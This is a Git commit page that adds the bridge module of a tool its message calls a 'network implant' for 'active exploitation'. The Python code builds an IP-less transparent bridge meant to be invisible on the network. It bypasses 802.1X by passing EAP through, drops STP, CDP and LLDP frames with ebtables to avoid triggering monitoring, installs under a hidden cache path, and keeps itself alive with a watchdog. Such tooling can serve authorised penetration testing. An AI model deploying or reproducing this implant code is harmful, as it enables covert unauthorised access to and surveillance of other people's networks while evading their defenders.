Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,359 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Bridge module — transparent inline network bridge.
|
||||
|
||||
Creates a transparent L2 bridge between the onboard ethernet adapter and a
|
||||
USB ethernet adapter. The bridge has NO IP address — it is invisible on the
|
||||
network and can only be detected by physical inspection.
|
||||
|
||||
Provides 802.1X bypass via silent bridge (EAP passthrough) and suppresses
|
||||
STP/BPDU/CDP/LLDP frames via ebtables to avoid triggering network monitoring.
|
||||
|
||||
A C watchdog thread monitors bridge health and restores direct connectivity
|
||||
within 15 seconds if the bridge fails.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
BRIDGE_NAME = "br0"
|
||||
WATCHDOG_INTERVAL = 5.0 # seconds between health checks
|
||||
WATCHDOG_MAX_FAILURES = 3 # consecutive failures before teardown
|
||||
FAILSAFE_TIMEOUT = 15 # seconds — must restore connectivity within this
|
||||
|
||||
|
||||
class Bridge(BaseModule):
|
||||
"""Transparent inline bridge — invisible on the network."""
|
||||
|
||||
name = "bridge"
|
||||
module_type = "connectivity"
|
||||
priority = -300
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._if1: Optional[str] = None
|
||||
self._if2: Optional[str] = None
|
||||
self._bridge_up = False
|
||||
self._watchdog_thread: Optional[threading.Thread] = None
|
||||
self._consecutive_failures = 0
|
||||
self._scripts_dir: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
br_cfg = self.config.get("connectivity", {}).get("bridge", {})
|
||||
if not br_cfg:
|
||||
logger.error("No bridge config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._if1 = br_cfg.get("interface1")
|
||||
self._if2 = br_cfg.get("interface2")
|
||||
|
||||
if not self._if1 or not self._if2:
|
||||
logger.error("Bridge requires interface1 and interface2 in config")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Locate scripts directory
|
||||
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
||||
self._scripts_dir = os.path.join(install_path, "scripts")
|
||||
|
||||
if not self.setup_bridge(self._if1, self._if2):
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Start watchdog thread
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._bridge_up = True
|
||||
|
||||
self._watchdog_thread = threading.Thread(
|
||||
target=self._watchdog_loop, daemon=True, name="sensor-bridge-watchdog",
|
||||
)
|
||||
self._watchdog_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"bridge": BRIDGE_NAME, "if1": self._if1, "if2": self._if2},
|
||||
source_module=self.name)
|
||||
logger.info("Bridge %s active: %s <-> %s", BRIDGE_NAME, self._if1, self._if2)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self._running = False
|
||||
|
||||
if self._watchdog_thread and self._watchdog_thread.is_alive():
|
||||
self._watchdog_thread.join(timeout=5.0)
|
||||
|
||||
self.teardown_bridge()
|
||||
self._bridge_up = False
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("Bridge torn down")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"bridge_up": self._bridge_up,
|
||||
"bridge_name": BRIDGE_NAME,
|
||||
"interface1": self._if1,
|
||||
"interface2": self._if2,
|
||||
"healthy": self.is_healthy(),
|
||||
"consecutive_failures": self._consecutive_failures,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_healthy()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Bridge operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def setup_bridge(self, if1: str, if2: str) -> bool:
|
||||
"""Create transparent bridge between two interfaces.
|
||||
|
||||
Tries the shell script first; falls back to inline commands if
|
||||
the script is missing.
|
||||
"""
|
||||
script = os.path.join(self._scripts_dir, "setup_bridge.sh") if self._scripts_dir else None
|
||||
|
||||
if script and os.path.isfile(script):
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["bash", script, if1, if2],
|
||||
capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("Bridge setup via script succeeded")
|
||||
return True
|
||||
logger.warning("Bridge script failed: %s", result.stderr.strip())
|
||||
except (subprocess.TimeoutExpired, OSError) as exc:
|
||||
logger.warning("Bridge script error: %s", exc)
|
||||
|
||||
# Fallback: inline bridge setup
|
||||
return self._setup_bridge_inline(if1, if2)
|
||||
|
||||
def teardown_bridge(self) -> bool:
|
||||
"""Remove bridge and restore interfaces."""
|
||||
script = os.path.join(self._scripts_dir, "teardown_bridge.sh") if self._scripts_dir else None
|
||||
|
||||
if script and os.path.isfile(script):
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["bash", script],
|
||||
capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("Bridge teardown via script succeeded")
|
||||
return True
|
||||
logger.warning("Teardown script failed: %s", result.stderr.strip())
|
||||
except (subprocess.TimeoutExpired, OSError) as exc:
|
||||
logger.warning("Teardown script error: %s", exc)
|
||||
|
||||
# Fallback: inline teardown
|
||||
return self._teardown_bridge_inline()
|
||||
|
||||
def is_healthy(self) -> bool:
|
||||
"""Check if the bridge interface exists and both ports are attached."""
|
||||
try:
|
||||
# Check bridge exists
|
||||
result = subprocess.run(
|
||||
["ip", "link", "show", BRIDGE_NAME],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
|
||||
# Check both interfaces are in the bridge
|
||||
result = subprocess.run(
|
||||
["bridge", "link", "show", "dev", self._if1],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if BRIDGE_NAME not in result.stdout:
|
||||
return False
|
||||
|
||||
result = subprocess.run(
|
||||
["bridge", "link", "show", "dev", self._if2],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if BRIDGE_NAME not in result.stdout:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
except (subprocess.TimeoutExpired, OSError):
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Inline bridge commands (fallback if scripts missing)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_bridge_inline(self, if1: str, if2: str) -> bool:
|
||||
"""Create bridge using ip/bridge/ebtables commands directly."""
|
||||
commands = [
|
||||
# Create bridge, no IP
|
||||
["ip", "link", "add", "name", BRIDGE_NAME, "type", "bridge"],
|
||||
# Disable STP
|
||||
["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "stp_state", "0"],
|
||||
# Disable forwarding delay
|
||||
["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "forward_delay", "0"],
|
||||
# Set promiscuous mode on interfaces
|
||||
["ip", "link", "set", if1, "promisc", "on"],
|
||||
["ip", "link", "set", if2, "promisc", "on"],
|
||||
# Flush any existing IP addresses
|
||||
["ip", "addr", "flush", "dev", if1],
|
||||
["ip", "addr", "flush", "dev", if2],
|
||||
# Add interfaces to bridge
|
||||
["ip", "link", "set", if1, "master", BRIDGE_NAME],
|
||||
["ip", "link", "set", if2, "master", BRIDGE_NAME],
|
||||
# Bring everything up
|
||||
["ip", "link", "set", "up", "dev", if1],
|
||||
["ip", "link", "set", "up", "dev", if2],
|
||||
["ip", "link", "set", "up", "dev", BRIDGE_NAME],
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
try:
|
||||
subprocess.run(cmd, check=True, capture_output=True, timeout=10)
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.error("Bridge setup command failed: %s — %s",
|
||||
" ".join(cmd), exc.stderr.decode(errors='replace'))
|
||||
self._teardown_bridge_inline()
|
||||
return False
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("Bridge setup command timed out: %s", " ".join(cmd))
|
||||
self._teardown_bridge_inline()
|
||||
return False
|
||||
|
||||
# Suppress STP/BPDU/CDP/LLDP via ebtables
|
||||
self._apply_ebtables_rules(if1, if2)
|
||||
|
||||
logger.info("Inline bridge setup complete: %s <-> %s via %s", if1, if2, BRIDGE_NAME)
|
||||
return True
|
||||
|
||||
def _teardown_bridge_inline(self) -> bool:
|
||||
"""Remove bridge and restore interfaces."""
|
||||
# Remove ebtables rules (best-effort)
|
||||
self._remove_ebtables_rules()
|
||||
|
||||
commands = [
|
||||
["ip", "link", "set", "down", "dev", BRIDGE_NAME],
|
||||
]
|
||||
|
||||
# Remove interfaces from bridge
|
||||
if self._if1:
|
||||
commands.append(["ip", "link", "set", self._if1, "nomaster"])
|
||||
commands.append(["ip", "link", "set", self._if1, "promisc", "off"])
|
||||
if self._if2:
|
||||
commands.append(["ip", "link", "set", self._if2, "nomaster"])
|
||||
commands.append(["ip", "link", "set", self._if2, "promisc", "off"])
|
||||
|
||||
commands.append(["ip", "link", "del", BRIDGE_NAME])
|
||||
|
||||
for cmd in commands:
|
||||
try:
|
||||
subprocess.run(cmd, capture_output=True, timeout=10)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
|
||||
pass # Best-effort teardown
|
||||
|
||||
logger.info("Inline bridge teardown complete")
|
||||
return True
|
||||
|
||||
def _apply_ebtables_rules(self, if1: str, if2: str) -> None:
|
||||
"""Apply ebtables rules to suppress discovery protocols."""
|
||||
# STP/BPDU destination: 01:80:C2:00:00:00
|
||||
# CDP/VTP: 01:00:0C:CC:CC:CC
|
||||
# LLDP: 01:80:C2:00:00:0E
|
||||
suppress_macs = [
|
||||
"01:80:C2:00:00:00", # STP/BPDU
|
||||
"01:00:0C:CC:CC:CC", # CDP/VTP
|
||||
"01:80:C2:00:00:0E", # LLDP
|
||||
"01:00:0C:CC:CC:CD", # Cisco PVST+
|
||||
]
|
||||
|
||||
for mac in suppress_macs:
|
||||
for direction in ["FORWARD", "OUTPUT"]:
|
||||
cmd = ["ebtables", "-A", direction, "-d", mac, "-j", "DROP"]
|
||||
try:
|
||||
subprocess.run(cmd, capture_output=True, timeout=5)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
logger.debug("ebtables rule failed (may not be installed): %s", " ".join(cmd))
|
||||
|
||||
def _remove_ebtables_rules(self) -> None:
|
||||
"""Flush ebtables rules."""
|
||||
try:
|
||||
subprocess.run(["ebtables", "-F"], capture_output=True, timeout=5)
|
||||
subprocess.run(["ebtables", "-X"], capture_output=True, timeout=5)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Watchdog thread
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _watchdog_loop(self) -> None:
|
||||
"""Monitor bridge health; restore direct connectivity on failure."""
|
||||
while self._running:
|
||||
time.sleep(WATCHDOG_INTERVAL)
|
||||
if not self._running:
|
||||
break
|
||||
|
||||
if self.is_healthy():
|
||||
self._consecutive_failures = 0
|
||||
continue
|
||||
|
||||
self._consecutive_failures += 1
|
||||
logger.warning("Bridge health check failed (%d/%d)",
|
||||
self._consecutive_failures, WATCHDOG_MAX_FAILURES)
|
||||
|
||||
if self._consecutive_failures >= WATCHDOG_MAX_FAILURES:
|
||||
logger.error("Bridge failsafe triggered — restoring direct connectivity")
|
||||
self.bus.emit("MODULE_ERROR",
|
||||
{"module": self.name,
|
||||
"error": "bridge_failsafe_triggered",
|
||||
"consecutive_failures": self._consecutive_failures},
|
||||
source_module=self.name)
|
||||
|
||||
# Teardown broken bridge and restore direct connection
|
||||
self._teardown_bridge_inline()
|
||||
self._bridge_up = False
|
||||
|
||||
# Try to re-establish bridge
|
||||
if self._if1 and self._if2:
|
||||
time.sleep(2.0)
|
||||
if self._setup_bridge_inline(self._if1, self._if2):
|
||||
self._bridge_up = True
|
||||
self._consecutive_failures = 0
|
||||
logger.info("Bridge recovered after failsafe")
|
||||
else:
|
||||
logger.error("Bridge recovery failed — operating without bridge")
|
||||
self._running = False
|
||||
Reference in New Issue
Block a user